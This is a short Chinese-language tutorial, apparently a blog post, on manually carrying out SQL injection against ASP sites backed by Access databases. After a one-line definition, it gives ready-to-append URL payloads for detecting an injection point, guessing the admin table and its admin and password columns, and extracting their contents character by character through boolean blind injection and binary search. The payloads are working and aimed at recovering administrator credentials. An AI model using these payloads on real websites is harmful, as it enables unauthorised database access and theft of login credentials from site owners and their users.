SQL注入原理 手工注入access數據庫
SQL注入是通過將SQL命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL指令的目的。
1.判斷網站是否有注入點。
在以asp?id=xx(任意數字)結尾的連接依次添加:
-
'
-
1=1
-
1=2
若以上結果顯示"數據庫出錯","正常顯示","數據庫出錯"則該網站存在注入點。
2.猜解表名
在鏈接末尾添加語句:
and exists(select * from admin)
若存在表名為admin的表,則上述式返回true,即頁面正常顯示。
3.猜解列名
在鏈接末尾添加語句:
and exists(select admin from admin)
若admin表中存在名為admin的列,則上述式返回true,即頁面正常顯示。
同理,檢測表中是否存在名為password的列。
4.猜測字段內容
- 首先猜測字段長度,在鏈接末尾添加語句:
and (select top 1 len(admin) from admin)>n
若頁面正常顯示,則字段長度大於n。
- 用同樣的方法,猜測第一條記錄的第一個字符,在鏈接末尾添加語句:
and (select top 1 asc(mid(admin,1,1)) from admin)>c
若頁面正常顯示,則第一條記錄的第一個字符的ASCII碼大於c。
- 同理,可以用二分法快速求得admin字段內容和password字段內容。